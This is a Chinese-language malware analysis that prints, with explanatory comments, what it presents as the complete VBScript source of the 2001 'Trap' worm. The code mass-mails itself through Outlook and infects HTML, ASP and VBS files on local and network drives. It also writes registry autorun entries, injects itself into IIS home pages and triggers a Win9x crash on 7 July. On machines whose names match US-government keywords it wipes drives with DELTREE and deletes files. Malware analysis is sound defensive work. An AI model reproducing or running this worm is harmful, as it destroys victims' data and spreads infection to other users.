“陷阱”

下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。






'@ thank you! make use of other person to get rid of an enemy, trap _2001



'这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱”



on error resume next



dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str



dim defpath, smailc, MAX_SIZE



dim whb(), title(10)



smailc = 4



Redim whb(smailc) ’白宫相关人员邮件名单



whb(0) = "[e-mail]"



whb(1) = "[e-mail] "



whb(2) = "[e-mail]"



whb(3) = "[e-mail]"



'发送邮件的主题



title(0) = "Thanks for helping me!"



title(1) = "The police are investigating the robbery"



title(2) = "an application for a job "



title(3) = "The aspects of an application process pertinent to OSI"



title(4) = "What a pleasant weather. Why not go out for a walk?"



title(5) = "These countries have gone / been through too many wars"



title(6) = "We've fixed on the 17th of April for the wedding"



title(7) = "The wind failed and the sea returned to calmness."



title(8) = "the sitting is open!"



title(9) = ""



defpath = "C:/Readme.html" ' 病毒文件



MAX_SIZE = 100000 ' 定义传染文件的最大尺寸



MSWKEY = "HKEY_LOCAL_MACHINE/SoftWare/Microsoft/Windows/"



HCUW = "HKEY_CURRENT_USER/Software/Microsoft/WAB/"



main






sub main() '主程序



on error resume next



dim w_s



w_s= WScript.ScriptFullName '得到病毒文件本身的路径



if w_s = "" then



Err.Clear



set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象



if getErr then '辨认病毒状态



Randomize '初始化随机种子



ra = int(rnd() * 7) '产生随机数



doucment.write title(ra) ' 写随机内容



ExecuteMail '执行邮件状态时的程序



else



ExecutePage '执行 WEB 页状态时的程序



end if



else



ExecuteVbs '执行 VBS 文件状态时的程序



end if



end sub






Function getErr() 忽略错误



if Err.number<>0 then



getErr=true



Err.Clear



else



getErr=false



end if



end function






sub ExecutePage() 'WEB 页状态时的程序



on error resume next



dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf



Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码



Js_Str = GetJavaScript() ' 得到 Javascript 代码



Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码



Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码



Gf



'定义病毒文件的路径



wdsf = w2 & "Mdm.vbs"



wdsf2 = w1 & "Profile.vbs"



wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人



wdf2 = w2 & "Readme.html"



wdf3 = w2 & "system.dll"



'创建病毒文件



set vf = fso.OpenTextFile (wdf, 2, true)



vf.write Vbs_Str



vf.close



set vf = fso.OpenTextFile (wdsf, 2, true)



vf.write Vbs_Str



vf.close



set vf = fso.OpenTextFile (wdsf2, 2, true)



vf.Write Vbs_Str



vf.close



set vf = fso.OpenTextFile (wdf2, 2, true)



vf.write Html_Str



vf.close



set vf = fso.OpenTextFile (wdf3, 2, true)



vf.write Code_Str



vf.close



修改注册表，让病毒文件在每一次计算机启动自动执行



Writereg MSWKEY & "CurrentVersion/Run/Mdm", wdsf, ""



Writereg MSWKEY & "CurrentVersion/RunServices/Profile", wdsf2, ""



SendMail ' 执行发送邮件程序



Hackpage ' 执行感染网站程序



set adi = fso.Drives



for each x in adi



if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘



call SearchHTML(x & "/") '执行文件感染程序



end if



next



if TestUser then '检查用户



Killhe 执行删除文件操作



else



if Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日



set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件



vf.write MakeScript ("window.navigate ('c:/con/con');", false)



vf.close



Writereg MSWKEY & "CurrentVersion/Run/75", w2 & "75.htm", "" '自动启动



window.navigate "c:/con/con" '立刻蓝屏，利用 Windows BUG，能引起 Win9X 系统100%死机（即无法恢复的蓝屏）



else '如不是7.5



if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htm



end if



end if



if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:/Readme.html 病毒文件



end sub






sub ExecuteMail() '邮件状态时执行的程序



on error resume next



Vbs_Str = GetScriptCode("vbscript")



Js_Str = GetJavaScript()



Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象



with Stl



.Reset



.Path = defpath



.Doc = MakeHtml(encrypt(Vbs_str), true)



.Write() '创建 C:/Readme.html 文件



end with



window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口



end sub






sub ExecuteVbs() ' 同理，如病毒文件是 VBS 时所执行的程序



on error resume next



dim x, adi, wvbs, ws, vf



set fso = CreateObject("Scripting.FileSystemObject")



set wvbs = CreateObject("WScript.Shell")



Gf



wvbs.RegWrite MSWKEY & "Windows Scripting Host/Setings/Timeout", 0, "REG_DWORD"



set vf = fso.OpenTextFile (w2 & "system.dll", 1)



Code_Str = vf.ReadAll()



vf.close



Hackpage



SendMail



set adi = fso.Drives



for each x in adi



if x.DrivesType = 2 or x.DrivesType = 3 then



call SearchHTML(x & "/")



end if



next



if TestUser then Killhe



end sub






sub Gf() '得到系统路径



w1=fso.GetSpecialFolder(0) & "/"



w2=fso.GetSpecialFolder(1) & "/"



end sub






function Readreg(key_str) '读注册表



set tmps = CreateObject("WScript.Shell")



Readreg = tmps.RegRead(key_str)



set tmps = Nothing



end function






function Writereg(key_str, Newvalue, vtype) '写注册表



set tmps = CreateObject("WScript.Shell")



if vtype="" then



tmps.RegWrite key_str, Newvalue



else



tmps.RegWrite key_str, Newvalue, vtype



end if



set tmps = Nothing



end function






function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码



dim ra



Randomize



ra = int(rnd() * 7)



MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _



"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _



"<" & "/BOAD><" & "/HTML>"



end Function






function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂，不再描述



if iHTML then



dim DocuWrite



DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>/n'+" & _



"jword" & "+'/n</'" & "+'SCRIPT>');"



DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>/n'+" & _



"nword" & "+'/n</'" & "+'SCRIPT>');"



MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _



chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _



chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _



"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"



else



MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"



end if



end function






function GetScriptCode(Languages) ' 得到不同脚本语言的代码



dim soj



for each soj in document.scripts



if LCase(soj.Language) = Languages then



if Languages = "javascript" then



if len(soj.Text)> 200 then



else



GetScriptCode = soj.Text



exit function



end if



else



GetScriptCode = soj.Text



exit function



end if



end if



next



end function






function GetJavaScript()



GetJavaScript = GetScriptCode("javascript")



end function






function TestUser() '检测用户过程



on error resume next



dim keys(6), i, tmpStr, Wnet



'特定用户关键词



keys(0) = "white home"



keys(1) = "central intelligence agency"



keys(2) = "bush"



keys(3) = "american stock exchang"



keys(4) = "chief executive"



keys(5) = "usa"



TestUser = false



Set Wnet = CreateObject("WScript.Network") '创建网络对象



'下面一共3个循环，作用一样，是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语，一旦含有程序将返回”真”的条件，从而对这些用户的文件进行疯狂删除。



tmpStr = LCase(Wnet.UserName) '



for i=0 to 4



if InStr(tmpStr, keys(i)) > 0 then



TestUser=true



exit function



end if



next



tmpStr = LCase(Wnet.ComputerName)



for i=0 to 4



if InStr(tmpStr, keys(i)) > 0 then



TestUser=true



exit function



end if



next



tmpStr = LCase(Wnet.UserDomain)



for i=0 to 4



if InStr(tmpStr, keys(i)) >0 then



TestUser=true



exit function



end if



next



Set Wnet = Nothing



end function






function SendMail() '发送文件过程



on error resume next



dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at



'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件



主题是随机的，此过程与“欢乐时光“类似，所以不再描述
Randomize



at=fso.GetSpecialFolder(1) & "/Readme.html"



set Oa = CreateObject("Outlook.Application")



set wab = Oa.GetNameSpace("MAPI")



for j = 1 to wab.AddressLists.Count



eins = wab.AddressLists(j)



wreg=Readreg (HCUW & eins)



if (wreg="") then wreg = 1



Eaec = eins.AddressEntries.Count



if (Eaec > Int(wreg)) then



for x = 1 to Eaec



arrsm = wab.AddressEntries(x)



areg = Readreg(HCUW & arrsm)



if (areg = "") then



set fm = wab.CreateItem(0)



with fm



ra = int(rnd() * 7)



.Recipients.Add arrsm



.Subject = title(ra)



.Body = title(ra)



.Attachments at



.Send



Writereg HCUW & arrsm, 1, "REG_DWORD"



end with



end if



next



end if



Writereg HCUW & eins, Eaec, ""



next



'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。



for j = 1 to smailc



arrsm = whb(j)



set fm = wab.CreateItem(0)



ra = int(rnd() * 7)



with fm



.Recipients.Add arrsm



.Subject = title(ra)



.Body = title(ra)



.Send



end with



next



set Oa = Nothing



window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送



end function






sub SearchHTML(Path) '搜索可传染文件的过程



on error resume next



dim pfo, psfo, pf, ps, pfi, ext



if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub



if Path <> "E:/" then exit sub



set pfo = fso.GetFolder(Path)



set psfo = pfo.SubFolders



for each ps in psfo



SearchHTML(ps.Path)



set pf = ps.Files



for each pfi in pf



ext = LCase(fso.GetExtensionName(pfi.Path))



if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。



if Code_Str<>"" then AddHead pfi.Path, pfi, 1



elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码



AddHead pfi.Path,pfi, 2



end if



next



next



end sub






sub Killhe() '全盘删除文件过程



on error resume next



dim codeText, ko,adi, kd, kh, ks,kf,kfs



codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_



"DELTREE c:/" '将删除C盘的命令插入Autoexec.bat 中，下次开机时，删除整个硬盘，并没有任何提示



set ko = fso.OpenTextFile("C:/Autoexec.bat", 8, true)



ko.Write vbcrlf & codeText



ko.Close



'接着立刻删除其它盘的所有文件



set adi = fso.Drives



for each x in adi



if x.DrivesType = 2 then



set kd = fso.GetFolder(x & "/")



set kfs = kd.Files



for each kf in kfs



kf.Delete



next



set ks = kd.SubFolders



for each kh in ks



kh.Delete



next



end if



next



do while 1 '让系统立刻死机



window.open ""



loop



end sub






sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程



dim fi



H = "C:/InetPut/wwwroot"



if fso.FolderExists(H) then

'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户

set fi = fso.GetFile(H & "/index.htm")



AddHead H & "/index.htm",fi,1



end if



end sub






sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程



on error resume next



dim tso, buffer,sr



if f.size > MAX_SIZE then exit sub '传染大小小于100K的文件



set tso = fso.OpenTextFile(Path, 1, true)



buffer = tso.ReadAll()



tso.close



if (t = 1) then



if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then



set tso = fso.OpenTextFile(Path, 2, true)



tso.Write Code_Str & vbcrlf & buffer '插入到文件头



tso.close



end if



else



if mid(buffer, 3, 2) <> "'@" then



tso.close



sr=w2 & "user.dll"



if fso.FileExists(sr) then fso.CopyFile sr, Path



end if



end if



end sub






虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。